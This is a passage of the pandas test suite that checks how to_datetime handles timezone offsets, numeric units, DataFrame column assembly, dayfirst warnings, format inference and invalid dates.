test_to_datetime_coerce_malformed(self): # GH 28299 ts_strings = ["200622-12-31", "111111-24-11"] result = to_datetime(ts_strings, errors="coerce") expected = Index([NaT, NaT]) tm.assert_index_equal(result, expected) def test_iso_8601_strings_with_same_offset(self): # GH 17697, 11736 ts_str = "2015-11-18 15:30:00+05:30" result = to_datetime(ts_str) expected = Timestamp(ts_str) assert result == expected expected = DatetimeIndex([Timestamp(ts_str)] * 2) result = to_datetime([ts_str] * 2) tm.assert_index_equal(result, expected) result = DatetimeIndex([ts_str] * 2) tm.assert_index_equal(result, expected) def test_iso_8601_strings_with_different_offsets(self): # GH 17697, 11736 ts_strings = ["2015-11-18 15:30:00+05:30", "2015-11-18 16:30:00+06:30", NaT] result = to_datetime(ts_strings) expected = np.array( [ datetime(2015, 11, 18, 15, 30, tzinfo=tzoffset(None, 19800)), datetime(2015, 11, 18, 16, 30, tzinfo=tzoffset(None, 23400)), NaT, ], dtype=object, ) # GH 21864 expected = Index(expected) tm.assert_index_equal(result, expected) result = to_datetime(ts_strings, utc=True) expected = DatetimeIndex( [Timestamp(2015, 11, 18, 10), Timestamp(2015, 11, 18, 10), NaT], tz="UTC" ) tm.assert_index_equal(result, expected) def test_iso8601_strings_mixed_offsets_with_naive(self): # GH 24992 result = to_datetime( [ "2018-11-28T00:00:00", "2018-11-28T00:00:00+12:00", "2018-11-28T00:00:00", "2018-11-28T00:00:00+06:00", "2018-11-28T00:00:00", ], utc=True, ) expected = to_datetime( [ "2018-11-28T00:00:00", "2018-11-27T12:00:00", "2018-11-28T00:00:00", "2018-11-27T18:00:00", "2018-11-28T00:00:00", ], utc=True, ) tm.assert_index_equal(result, expected) items = ["2018-11-28T00:00:00+12:00", "2018-11-28T00:00:00"] result = to_datetime(items, utc=True) expected = to_datetime(list(reversed(items)), utc=True)[::-1] tm.assert_index_equal(result, expected) def test_mixed_offsets_with_native_datetime_raises(self): # GH 25978 vals = [ "nan", Timestamp("1990-01-01"), "2015-03-14T16:15:14.123-08:00", "2019-03-04T21:56:32.620-07:00", None, ] ser = Series(vals) assert all(ser[i] is vals[i] for i in range(len(vals))) # GH#40111 mixed = to_datetime(ser) expected = Series( [ "NaT", Timestamp("1990-01-01"), Timestamp("2015-03-14T16:15:14.123-08:00").to_pydatetime(), Timestamp("2019-03-04T21:56:32.620-07:00").to_pydatetime(), None, ], dtype=object, ) tm.assert_series_equal(mixed, expected) with pytest.raises(ValueError, match="Tz-aware datetime.datetime"): to_datetime(mixed) def test_non_iso_strings_with_tz_offset(self): result = to_datetime(["March 1, 2018 12:00:00+0400"] * 2) expected = DatetimeIndex( [datetime(2018, 3, 1, 12, tzinfo=pytz.FixedOffset(240))] * 2 ) tm.assert_index_equal(result, expected) @pytest.mark.parametrize( "ts, expected", [ (Timestamp("2018-01-01"), Timestamp("2018-01-01", tz="UTC")), ( Timestamp("2018-01-01", tz="US/Pacific"), Timestamp("2018-01-01 08:00", tz="UTC"), ), ], ) def test_timestamp_utc_true(self, ts, expected): # GH 24415 result = to_datetime(ts, utc=True) assert result == expected @pytest.mark.parametrize("dt_str", ["00010101", "13000101", "30000101", "99990101"]) def test_to_datetime_with_format_out_of_bounds(self, dt_str): # GH 9107 msg = "Out of bounds nanosecond timestamp" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(dt_str, format="%Y%m%d") def test_to_datetime_utc(self): arr = np.array([parse("2012-06-13T01:39:00Z")], dtype=object) result = to_datetime(arr, utc=True) assert result.tz is pytz.utc def test_to_datetime_fixed_offset(self): from pandas.tests.indexes.datetimes.test_timezones import fixed_off dates = [ datetime(2000, 1, 1, tzinfo=fixed_off), datetime(2000, 1, 2, tzinfo=fixed_off), datetime(2000, 1, 3, tzinfo=fixed_off), ] result = to_datetime(dates) assert result.tz == fixed_off class TestToDatetimeUnit: @pytest.mark.parametrize("cache", [True, False]) def test_unit(self, cache): # GH 11758 # test proper behavior with errors msg = "cannot specify both format and unit" with pytest.raises(ValueError, match=msg): to_datetime([1], unit="D", format="%Y%m%d", cache=cache) values = [11111111, 1, 1.0, iNaT, NaT, np.nan, "NaT", ""] result = to_datetime(values, unit="D", errors="ignore", cache=cache) expected = Index( [ 11111111, Timestamp("1970-01-02"), Timestamp("1970-01-02"), NaT, NaT, NaT, NaT, NaT, ], dtype=object, ) tm.assert_index_equal(result, expected) result = to_datetime(values, unit="D", errors="coerce", cache=cache) expected = DatetimeIndex( ["NaT", "1970-01-02", "1970-01-02", "NaT", "NaT", "NaT", "NaT", "NaT"] ) tm.assert_index_equal(result, expected) msg = "cannot convert input 11111111 with the unit 'D'" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(values, unit="D", errors="raise", cache=cache) values = [1420043460000, iNaT, NaT, np.nan, "NaT"] result = to_datetime(values, errors="ignore", unit="s", cache=cache) expected = Index([1420043460000, NaT, NaT, NaT, NaT], dtype=object) tm.assert_index_equal(result, expected) result = to_datetime(values, errors="coerce", unit="s", cache=cache) expected = DatetimeIndex(["NaT", "NaT", "NaT", "NaT", "NaT"]) tm.assert_index_equal(result, expected) msg = "cannot convert input 1420043460000 with the unit 's'" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(values, errors="raise", unit="s", cache=cache) # if we have a string, then we raise a ValueError # and NOT an OutOfBoundsDatetime for val in ["foo", Timestamp("20130101")]: try: to_datetime(val, errors="raise", unit="s", cache=cache) except OutOfBoundsDatetime as err: raise AssertionError("incorrect exception raised") from err except ValueError: pass @pytest.mark.parametrize("cache", [True, False]) def test_unit_consistency(self, cache): # consistency of conversions expected = Timestamp("1970-05-09 14:25:11") result = to_datetime(11111111, unit="s", errors="raise", cache=cache) assert result == expected assert isinstance(result, Timestamp) result = to_datetime(11111111, unit="s", errors="coerce", cache=cache) assert result == expected assert isinstance(result, Timestamp) result = to_datetime(11111111, unit="s", errors="ignore", cache=cache) assert result == expected assert isinstance(result, Timestamp) @pytest.mark.parametrize("cache", [True, False]) def test_unit_with_numeric(self, cache): # GH 13180 # coercions from floats/ints are ok expected = DatetimeIndex(["2015-06-19 05:33:20", "2015-05-27 22:33:20"]) arr1 = [1.434692e18, 1.432766e18] arr2 = np.array(arr1).astype("int64") for errors in ["ignore", "raise", "coerce"]: result = to_datetime(arr1, errors=errors, cache=cache) tm.assert_index_equal(result, expected) result = to_datetime(arr2, errors=errors, cache=cache) tm.assert_index_equal(result, expected) # but we want to make sure that we are coercing # if we have ints/strings expected = DatetimeIndex(["NaT", "2015-06-19 05:33:20", "2015-05-27 22:33:20"]) arr = ["foo", 1.434692e18, 1.432766e18] result = to_datetime(arr, errors="coerce", cache=cache) tm.assert_index_equal(result, expected) expected = DatetimeIndex( ["2015-06-19 05:33:20", "2015-05-27 22:33:20", "NaT", "NaT"] ) arr = [1.434692e18, 1.432766e18, "foo", "NaT"] result = to_datetime(arr, errors="coerce", cache=cache) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_unit_mixed(self, cache): # mixed integers/datetimes expected = DatetimeIndex(["2013-01-01", "NaT", "NaT"]) arr = [Timestamp("20130101"), 1.434692e18, 1.432766e18] result = to_datetime(arr, errors="coerce", cache=cache) tm.assert_index_equal(result, expected) msg = "mixed datetimes and integers in passed array" with pytest.raises(ValueError, match=msg): to_datetime(arr, errors="raise", cache=cache) expected = DatetimeIndex(["NaT", "NaT", "2013-01-01"]) arr = [1.434692e18, 1.432766e18, Timestamp("20130101")] result = to_datetime(arr, errors="coerce", cache=cache) tm.assert_index_equal(result, expected) with pytest.raises(ValueError, match=msg): to_datetime(arr, errors="raise", cache=cache) @pytest.mark.parametrize("cache", [True, False]) def test_unit_rounding(self, cache): # GH 14156 & GH 20445: argument will incur floating point errors # but no premature rounding result = to_datetime(1434743731.8770001, unit="s", cache=cache) expected = Timestamp("2015-06-19 19:55:31.877000192") assert result == expected @pytest.mark.parametrize("cache", [True, False]) def test_unit_ignore_keeps_name(self, cache): # GH 21697 expected = Index([15e9] * 2, name="name") result = to_datetime(expected, errors="ignore", unit="s", cache=cache) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_dataframe(self, cache): df = DataFrame( { "year": [2015, 2016], "month": [2, 3], "day": [4, 5], "hour": [6, 7], "minute": [58, 59], "second": [10, 11], "ms": [1, 1], "us": [2, 2], "ns": [3, 3], } ) result = to_datetime( {"year": df["year"], "month": df["month"], "day": df["day"]}, cache=cache ) expected = Series( [Timestamp("20150204 00:00:00"), Timestamp("20160305 00:0:00")] ) tm.assert_series_equal(result, expected) # dict-like result = to_datetime(df[["year", "month", "day"]].to_dict(), cache=cache) tm.assert_series_equal(result, expected) # dict but with constructable df2 = df[["year", "month", "day"]].to_dict() df2["month"] = 2 result = to_datetime(df2, cache=cache) expected2 = Series( [Timestamp("20150204 00:00:00"), Timestamp("20160205 00:0:00")] ) tm.assert_series_equal(result, expected2) # unit mappings units = [ { "year": "years", "month": "months", "day": "days", "hour": "hours", "minute": "minutes", "second": "seconds", }, { "year": "year", "month": "month", "day": "day", "hour": "hour", "minute": "minute", "second": "second", }, ] for d in units: result = to_datetime(df[list(d.keys())].rename(columns=d), cache=cache) expected = Series( [Timestamp("20150204 06:58:10"), Timestamp("20160305 07:59:11")] ) tm.assert_series_equal(result, expected) d = { "year": "year", "month": "month", "day": "day", "hour": "hour", "minute": "minute", "second": "second", "ms": "ms", "us": "us", "ns": "ns", } result = to_datetime(df.rename(columns=d), cache=cache) expected = Series( [ Timestamp("20150204 06:58:10.001002003"), Timestamp("20160305 07:59:11.001002003"), ] ) tm.assert_series_equal(result, expected) # coerce back to int result = to_datetime(df.astype(str), cache=cache) tm.assert_series_equal(result, expected) # passing coerce df2 = DataFrame({"year": [2015, 2016], "month": [2, 20], "day": [4, 5]}) msg = ( "cannot assemble the datetimes: time data .+ does not " r"match format '%Y%m%d' \(match\)" ) with pytest.raises(ValueError, match=msg): to_datetime(df2, cache=cache) result = to_datetime(df2, errors="coerce", cache=cache) expected = Series([Timestamp("20150204 00:00:00"), NaT]) tm.assert_series_equal(result, expected) # extra columns msg = r"extra keys have been passed to the datetime assemblage: \[foo\]" with pytest.raises(ValueError, match=msg): df2 = df.copy() df2["foo"] = 1 to_datetime(df2, cache=cache) # not enough msg = ( r"to assemble mappings requires at least that \[year, month, " r"day\] be specified: \[.+\] is missing" ) for c in [ ["year"], ["year", "month"], ["year", "month", "second"], ["month", "day"], ["year", "day", "second"], ]: with pytest.raises(ValueError, match=msg): to_datetime(df[c], cache=cache) # duplicates msg = "cannot assemble with duplicate keys" df2 = DataFrame({"year": [2015, 2016], "month": [2, 20], "day": [4, 5]}) df2.columns = ["year", "year", "day"] with pytest.raises(ValueError, match=msg): to_datetime(df2, cache=cache) df2 = DataFrame( {"year": [2015, 2016], "month": [2, 20], "day": [4, 5], "hour": [4, 5]} ) df2.columns = ["year", "month", "day", "day"] with pytest.raises(ValueError, match=msg): to_datetime(df2, cache=cache) @pytest.mark.parametrize("cache", [True, False]) def test_dataframe_dtypes(self, cache): # #13451 df = DataFrame({"year": [2015, 2016], "month": [2, 3], "day": [4, 5]}) # int16 result = to_datetime(df.astype("int16"), cache=cache) expected = Series( [Timestamp("20150204 00:00:00"), Timestamp("20160305 00:00:00")] ) tm.assert_series_equal(result, expected) # mixed dtypes df["month"] = df["month"].astype("int8") df["day"] = df["day"].astype("int8") result = to_datetime(df, cache=cache) expected = Series( [Timestamp("20150204 00:00:00"), Timestamp("20160305 00:00:00")] ) tm.assert_series_equal(result, expected) # float df = DataFrame({"year": [2000, 2001], "month": [1.5, 1], "day": [1, 1]}) msg = "cannot assemble the datetimes: unconverted data remains: 1" with pytest.raises(ValueError, match=msg): to_datetime(df, cache=cache) def test_dataframe_utc_true(self): # GH 23760 df = DataFrame({"year": [2015, 2016], "month": [2, 3], "day": [4, 5]}) result = to_datetime(df, utc=True) expected = Series( np.array(["2015-02-04", "2016-03-05"], dtype="datetime64[ns]") ).dt.tz_localize("UTC") tm.assert_series_equal(result, expected) def test_to_datetime_errors_ignore_utc_true(self): # GH 23758 result = to_datetime([1], unit="s", utc=True, errors="ignore") expected = DatetimeIndex(["1970-01-01 00:00:01"], tz="UTC") tm.assert_index_equal(result, expected) # TODO: this is moved from tests.series.test_timeseries, may be redundant def test_to_datetime_unit(self): epoch = 1370745748 s = Series([epoch + t for t in range(20)]) result = to_datetime(s, unit="s") expected = Series( [Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in range(20)] ) tm.assert_series_equal(result, expected) s = Series([epoch + t for t in range(20)]).astype(float) result = to_datetime(s, unit="s") expected = Series( [Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in range(20)] ) tm.assert_series_equal(result, expected) s = Series([epoch + t for t in range(20)] + [iNaT]) result = to_datetime(s, unit="s") expected = Series( [Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in range(20)] + [NaT] ) tm.assert_series_equal(result, expected) s = Series([epoch + t for t in range(20)] + [iNaT]).astype(float) result = to_datetime(s, unit="s") expected = Series( [Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in range(20)] + [NaT] ) tm.assert_series_equal(result, expected) # GH13834 s = Series([epoch + t for t in np.arange(0, 2, 0.25)] + [iNaT]).astype(float) result = to_datetime(s, unit="s") expected = Series( [ Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in np.arange(0, 2, 0.25) ] + [NaT] ) # GH20455 argument will incur floating point errors but no premature rounding result = result.round("ms") tm.assert_series_equal(result, expected) s = pd.concat( [Series([epoch + t for t in range(20)]).astype(float), Series([np.nan])], ignore_index=True, ) result = to_datetime(s, unit="s") expected = Series( [Timestamp("2013-06-09 02:42:28") + timedelta(seconds=t) for t in range(20)] + [NaT] ) tm.assert_series_equal(result, expected) result = to_datetime([1, 2, "NaT", NaT, np.nan], unit="D") expected = DatetimeIndex( [Timestamp("1970-01-02"), Timestamp("1970-01-03")] + ["NaT"] * 3 ) tm.assert_index_equal(result, expected) msg = "non convertible value foo with the unit 'D'" with pytest.raises(ValueError, match=msg): to_datetime([1, 2, "foo"], unit="D") msg = "cannot convert input 111111111 with the unit 'D'" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime([1, 2, 111111111], unit="D") # coerce we can process expected = DatetimeIndex( [Timestamp("1970-01-02"), Timestamp("1970-01-03")] + ["NaT"] * 1 ) result = to_datetime([1, 2, "foo"], unit="D", errors="coerce") tm.assert_index_equal(result, expected) result = to_datetime([1, 2, 111111111], unit="D", errors="coerce") tm.assert_index_equal(result, expected) class TestToDatetimeMisc: def test_to_datetime_barely_out_of_bounds(self): # GH#19529 # GH#19382 close enough to bounds that dropping nanos would result # in an in-bounds datetime arr = np.array(["2262-04-11 23:47:16.854775808"], dtype=object) msg = "Out of bounds nanosecond timestamp" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(arr) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_iso8601(self, cache): result = to_datetime(["2012-01-01 00:00:00"], cache=cache) exp = Timestamp("2012-01-01 00:00:00") assert result[0] == exp result = to_datetime(["20121001"], cache=cache) # bad iso 8601 exp = Timestamp("2012-10-01") assert result[0] == exp @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_default(self, cache): rs = to_datetime("2001", cache=cache) xp = datetime(2001, 1, 1) assert rs == xp # dayfirst is essentially broken # to_datetime('01-13-2012', dayfirst=True) # pytest.raises(ValueError, to_datetime('01-13-2012', # dayfirst=True)) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_on_datetime64_series(self, cache): # #2699 s = Series(date_range("1/1/2000", periods=10)) result = to_datetime(s, cache=cache) assert result[0] == s[0] @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_with_space_in_series(self, cache): # GH 6428 s = Series(["10/18/2006", "10/18/2008", " "]) msg = r"(\(')?String does not contain a date(:', ' '\))?" with pytest.raises(ValueError, match=msg): to_datetime(s, errors="raise", cache=cache) result_coerce = to_datetime(s, errors="coerce", cache=cache) expected_coerce = Series([datetime(2006, 10, 18), datetime(2008, 10, 18), NaT]) tm.assert_series_equal(result_coerce, expected_coerce) result_ignore = to_datetime(s, errors="ignore", cache=cache) tm.assert_series_equal(result_ignore, s) @td.skip_if_has_locale @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_with_apply(self, cache): # this is only locale tested with US/None locales # GH 5195 # with a format and coerce a single item to_datetime fails td = Series(["May 04", "Jun 02", "Dec 11"], index=[1, 2, 3]) expected = to_datetime(td, format="%b %y", cache=cache) result = td.apply(to_datetime, format="%b %y", cache=cache) tm.assert_series_equal(result, expected) td = Series(["May 04", "Jun 02", ""], index=[1, 2, 3]) msg = r"time data '' does not match format '%b %y' \(match\)" with pytest.raises(ValueError, match=msg): to_datetime(td, format="%b %y", errors="raise", cache=cache) with pytest.raises(ValueError, match=msg): td.apply(to_datetime, format="%b %y", errors="raise", cache=cache) expected = to_datetime(td, format="%b %y", errors="coerce", cache=cache) result = td.apply( lambda x: to_datetime(x, format="%b %y", errors="coerce", cache=cache) ) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_types(self, cache): # empty string result = to_datetime("", cache=cache) assert result is NaT result = to_datetime(["", ""], cache=cache) assert isna(result).all() # ints result = Timestamp(0) expected = to_datetime(0, cache=cache) assert result == expected # GH 3888 (strings) expected = to_datetime(["2012"], cache=cache)[0] result = to_datetime("2012", cache=cache) assert result == expected # array = ['2012','20120101','20120101 12:01:01'] array = ["20120101", "20120101 12:01:01"] expected = list(to_datetime(array, cache=cache)) result = [Timestamp(date_str) for date_str in array] tm.assert_almost_equal(result, expected) # currently fails ### # result = Timestamp('2012') # expected = to_datetime('2012') # assert result == expected @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_unprocessable_input(self, cache): # GH 4928 # GH 21864 result = to_datetime([1, "1"], errors="ignore", cache=cache) expected = Index(np.array([1, "1"], dtype="O")) tm.assert_equal(result, expected) msg = "invalid string coercion to datetime" with pytest.raises(TypeError, match=msg): to_datetime([1, "1"], errors="raise", cache=cache) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_unhashable_input(self, cache): series = Series([["a"]] * 100) result = to_datetime(series, errors="ignore", cache=cache) tm.assert_series_equal(series, result) def test_to_datetime_other_datetime64_units(self): # 5/25/2012 scalar = np.int64(1337904000000000).view("M8[us]") as_obj = scalar.astype("O") index = DatetimeIndex([scalar]) assert index[0] == scalar.astype("O") value = Timestamp(scalar) assert value == as_obj def test_to_datetime_list_of_integers(self): rng = date_range("1/1/2000", periods=20) rng = DatetimeIndex(rng.values) ints = list(rng.asi8) result = DatetimeIndex(ints) tm.assert_index_equal(rng, result) def test_to_datetime_overflow(self): # gh-17637 # we are overflowing Timedelta range here msg = "|".join( [ "Python int too large to convert to C long", "long too big to convert", "int too big to convert", ] ) with pytest.raises(OutOfBoundsTimedelta, match=msg): date_range(start="1/1/1700", freq="B", periods=100000) @pytest.mark.parametrize("cache", [True, False]) def test_string_na_nat_conversion(self, cache): # GH #999, #858 strings = np.array( ["1/1/2000", "1/2/2000", np.nan, "1/4/2000, 12:34:56"], dtype=object ) expected = np.empty(4, dtype="M8[ns]") for i, val in enumerate(strings): if isna(val): expected[i] = iNaT else: expected[i] = parse(val) result = tslib.array_to_datetime(strings)[0] tm.assert_almost_equal(result, expected) result2 = to_datetime(strings, cache=cache) assert isinstance(result2, DatetimeIndex) tm.assert_numpy_array_equal(result, result2.values) malformed = np.array(["1/100/2000", np.nan], dtype=object) # GH 10636, default is now 'raise' msg = r"Unknown string format:|day is out of range for month" with pytest.raises(ValueError, match=msg): to_datetime(malformed, errors="raise", cache=cache) result = to_datetime(malformed, errors="ignore", cache=cache) # GH 21864 expected = Index(malformed) tm.assert_index_equal(result, expected) with pytest.raises(ValueError, match=msg): to_datetime(malformed, errors="raise", cache=cache) idx = ["a", "b", "c", "d", "e"] series = Series( ["1/1/2000", np.nan, "1/3/2000", np.nan, "1/5/2000"], index=idx, name="foo" ) dseries = Series( [ to_datetime("1/1/2000", cache=cache), np.nan, to_datetime("1/3/2000", cache=cache), np.nan, to_datetime("1/5/2000", cache=cache), ], index=idx, name="foo", ) result = to_datetime(series, cache=cache) dresult = to_datetime(dseries, cache=cache) expected = Series(np.empty(5, dtype="M8[ns]"), index=idx) for i in range(5): x = series[i] if isna(x): expected[i] = NaT else: expected[i] = to_datetime(x, cache=cache) tm.assert_series_equal(result, expected, check_names=False) assert result.name == "foo" tm.assert_series_equal(dresult, expected, check_names=False) assert dresult.name == "foo" @pytest.mark.parametrize( "dtype", [ "datetime64[h]", "datetime64[m]", "datetime64[s]", "datetime64[ms]", "datetime64[us]", "datetime64[ns]", ], ) @pytest.mark.parametrize("cache", [True, False]) def test_dti_constructor_numpy_timeunits(self, cache, dtype): # GH 9114 base = to_datetime(["2000-01-01T00:00", "2000-01-02T00:00", "NaT"], cache=cache) values = base.values.astype(dtype) tm.assert_index_equal(DatetimeIndex(values), base) tm.assert_index_equal(to_datetime(values, cache=cache), base) @pytest.mark.parametrize("cache", [True, False]) def test_dayfirst(self, cache): # GH 5917 arr = ["10/02/2014", "11/02/2014", "12/02/2014"] expected = DatetimeIndex( [datetime(2014, 2, 10), datetime(2014, 2, 11), datetime(2014, 2, 12)] ) idx1 = DatetimeIndex(arr, dayfirst=True) idx2 = DatetimeIndex(np.array(arr), dayfirst=True) idx3 = to_datetime(arr, dayfirst=True, cache=cache) idx4 = to_datetime(np.array(arr), dayfirst=True, cache=cache) idx5 = DatetimeIndex(Index(arr), dayfirst=True) idx6 = DatetimeIndex(Series(arr), dayfirst=True) tm.assert_index_equal(expected, idx1) tm.assert_index_equal(expected, idx2) tm.assert_index_equal(expected, idx3) tm.assert_index_equal(expected, idx4) tm.assert_index_equal(expected, idx5) tm.assert_index_equal(expected, idx6) def test_dayfirst_warnings(self): # GH 12585 warning_msg_day_first = ( "Parsing '31/12/2014' in DD/MM/YYYY format. Provide " "format or specify infer_datetime_format=True for consistent parsing." ) warning_msg_month_first = ( "Parsing '03/30/2011' in MM/DD/YYYY format. Provide " "format or specify infer_datetime_format=True for consistent parsing." ) # CASE 1: valid input arr = ["31/12/2014", "10/03/2011"] expected_consistent = DatetimeIndex( ["2014-12-31", "2011-03-10"], dtype="datetime64[ns]", freq=None ) expected_inconsistent = DatetimeIndex( ["2014-12-31", "2011-10-03"], dtype="datetime64[ns]", freq=None ) # A. dayfirst arg correct, no warning res1 = to_datetime(arr, dayfirst=True) tm.assert_index_equal(expected_consistent, res1) # B. dayfirst arg incorrect, warning + incorrect output with tm.assert_produces_warning(UserWarning, match=warning_msg_day_first): res2 = to_datetime(arr, dayfirst=False) tm.assert_index_equal(expected_inconsistent, res2) # C. dayfirst default arg, same as B with tm.assert_produces_warning(UserWarning, match=warning_msg_day_first): res3 = to_datetime(arr, dayfirst=False) tm.assert_index_equal(expected_inconsistent, res3) # D. infer_datetime_format=True overrides dayfirst default # no warning + correct result res4 = to_datetime(arr, infer_datetime_format=True) tm.assert_index_equal(expected_consistent, res4) # CASE 2: invalid input # cannot consistently process with single format # warnings *always* raised arr = ["31/12/2014", "03/30/2011"] # first in DD/MM/YYYY, second in MM/DD/YYYY expected = DatetimeIndex( ["2014-12-31", "2011-03-30"], dtype="datetime64[ns]", freq=None ) # A. use dayfirst=True with tm.assert_produces_warning(UserWarning, match=warning_msg_month_first): res5 = to_datetime(arr, dayfirst=True) tm.assert_index_equal(expected, res5) # B. use dayfirst=False with tm.assert_produces_warning(UserWarning, match=warning_msg_day_first): res6 = to_datetime(arr, dayfirst=False) tm.assert_index_equal(expected, res6) # C. use dayfirst default arg, same as B with tm.assert_produces_warning(UserWarning, match=warning_msg_day_first): res7 = to_datetime(arr, dayfirst=False) tm.assert_index_equal(expected, res7) # D. use infer_datetime_format=True with tm.assert_produces_warning(UserWarning, match=warning_msg_day_first): res8 = to_datetime(arr, infer_datetime_format=True) tm.assert_index_equal(expected, res8) @pytest.mark.parametrize("klass", [DatetimeIndex, DatetimeArray]) def test_to_datetime_dta_tz(self, klass): # GH#27733 dti = date_range("2015-04-05", periods=3).rename("foo") expected = dti.tz_localize("UTC") obj = klass(dti) expected = klass(expected) result = to_datetime(obj, utc=True) tm.assert_equal(result, expected) class TestGuessDatetimeFormat: @td.skip_if_not_us_locale def test_guess_datetime_format_for_array(self): expected_format = "%Y-%m-%d %H:%M:%S.%f" dt_string = datetime(2011, 12, 30, 0, 0, 0).strftime(expected_format) test_arrays = [ np.array([dt_string, dt_string, dt_string], dtype="O"), np.array([np.nan, np.nan, dt_string], dtype="O"), np.array([dt_string, "random_string"], dtype="O"), ] for test_array in test_arrays: assert tools._guess_datetime_format_for_array(test_array) == expected_format format_for_string_of_nans = tools._guess_datetime_format_for_array( np.array([np.nan, np.nan, np.nan], dtype="O") ) assert format_for_string_of_nans is None class TestToDatetimeInferFormat: @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_infer_datetime_format_consistent_format(self, cache): s = Series(date_range("20000101", periods=50, freq="H")) test_formats = ["%m-%d-%Y", "%m/%d/%Y %H:%M:%S.%f", "%Y-%m-%dT%H:%M:%S.%f"] for test_format in test_formats: s_as_dt_strings = s.apply(lambda x: x.strftime(test_format)) with_format = to_datetime(s_as_dt_strings, format=test_format, cache=cache) no_infer = to_datetime( s_as_dt_strings, infer_datetime_format=False, cache=cache ) yes_infer = to_datetime( s_as_dt_strings, infer_datetime_format=True, cache=cache ) # Whether the format is explicitly passed, it is inferred, or # it is not inferred, the results should all be the same tm.assert_series_equal(with_format, no_infer) tm.assert_series_equal(no_infer, yes_infer) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_infer_datetime_format_inconsistent_format(self, cache): s = Series( np.array( ["01/01/2011 00:00:00", "01-02-2011 00:00:00", "2011-01-03T00:00:00"] ) ) # When the format is inconsistent, infer_datetime_format should just # fallback to the default parsing tm.assert_series_equal( to_datetime(s, infer_datetime_format=False, cache=cache), to_datetime(s, infer_datetime_format=True, cache=cache), ) s = Series(np.array(["Jan/01/2011", "Feb/01/2011", "Mar/01/2011"])) tm.assert_series_equal( to_datetime(s, infer_datetime_format=False, cache=cache), to_datetime(s, infer_datetime_format=True, cache=cache), ) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_infer_datetime_format_series_with_nans(self, cache): s = Series( np.array( ["01/01/2011 00:00:00", np.nan, "01/03/2011 00:00:00", np.nan], dtype=object, ) ) tm.assert_series_equal( to_datetime(s, infer_datetime_format=False, cache=cache), to_datetime(s, infer_datetime_format=True, cache=cache), ) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_infer_datetime_format_series_start_with_nans(self, cache): s = Series( np.array( [ np.nan, np.nan, "01/01/2011 00:00:00", "01/02/2011 00:00:00", "01/03/2011 00:00:00", ], dtype=object, ) ) tm.assert_series_equal( to_datetime(s, infer_datetime_format=False, cache=cache), to_datetime(s, infer_datetime_format=True, cache=cache), ) @pytest.mark.parametrize( "tz_name, offset", [("UTC", 0), ("UTC-3", 180), ("UTC+3", -180)] ) def test_infer_datetime_format_tz_name(self, tz_name, offset): # GH 33133 s = Series([f"2019-02-02 08:07:13 {tz_name}"]) result = to_datetime(s, infer_datetime_format=True) expected = Series( [Timestamp("2019-02-02 08:07:13").tz_localize(pytz.FixedOffset(offset))] ) tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "ts,zero_tz,is_utc", [ ("2019-02-02 08:07:13", "Z", True), ("2019-02-02 08:07:13", "", False), ("2019-02-02 08:07:13.012345", "Z", True), ("2019-02-02 08:07:13.012345", "", False), ], ) def test_infer_datetime_format_zero_tz(self, ts, zero_tz, is_utc): # GH 41047 s = Series([ts + zero_tz]) result = to_datetime(s, infer_datetime_format=True) tz = pytz.utc if is_utc else None expected = Series([Timestamp(ts, tz=tz)]) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_iso8601_noleading_0s(self, cache): # GH 11871 s = Series(["2014-1-1", "2014-2-2", "2015-3-3"]) expected = Series( [ Timestamp("2014-01-01"), Timestamp("2014-02-02"), Timestamp("2015-03-03"), ] ) tm.assert_series_equal(to_datetime(s, cache=cache), expected) tm.assert_series_equal(to_datetime(s, format="%Y-%m-%d", cache=cache), expected) class TestDaysInMonth: # tests for issue #10154 @pytest.mark.parametrize("cache", [True, False]) def test_day_not_in_month_coerce(self, cache): assert isna(to_datetime("2015-02-29", errors="coerce", cache=cache)) assert isna( to_datetime("2015-02-29", format="%Y-%m-%d", errors="coerce", cache=cache) ) assert isna( to_datetime("2015-02-32", format="%Y-%m-%d", errors="coerce", cache=cache) ) assert isna( to_datetime("2015-04-31", format="%Y-%m-%d", errors="coerce", cache=cache) ) @pytest.mark.parametrize("cache", [True, False]) def test_day_not_in_month_raise(self, cache): msg = "day is out of range for month" with pytest.raises(ValueError, match=msg): to_datetime("2015-02-29", errors="raise", cache=cache) msg = "time data 2015-02-29 doesn't match format specified" with pytest.raises(ValueError, match=msg): to_datetime("2015-02-29", errors="raise", format="%Y-%m-%d", cache=cache) msg = "time data 2015-02-32 doesn't match format specified" with pytest.raises(ValueError, match=msg): to_datetime("2015-02-32", errors="raise", format="%Y-%m-%d", cache=cache) msg = "time data 2015-04-31 doesn't match format specified" with pytest.raises(ValueError, match=msg): to_datetime("2015-04-31", errors="raise", format="%Y-%m-%d", cache=cache) @pytest.mark.parametrize("cache", [True, False]) def test_day_not_in_month_ignore(self, cache): assert to_datetime("2015-02-29", errors="ignore", cache=cache) == "2015-02-29" assert ( to_datetime("2015-02-29", errors="ignore", format="%Y-%m-%d", cache=cache) == "2015-02-29" ) assert ( to_datetime("2015-02-32", errors="ignore", format="%Y-%m-%d", 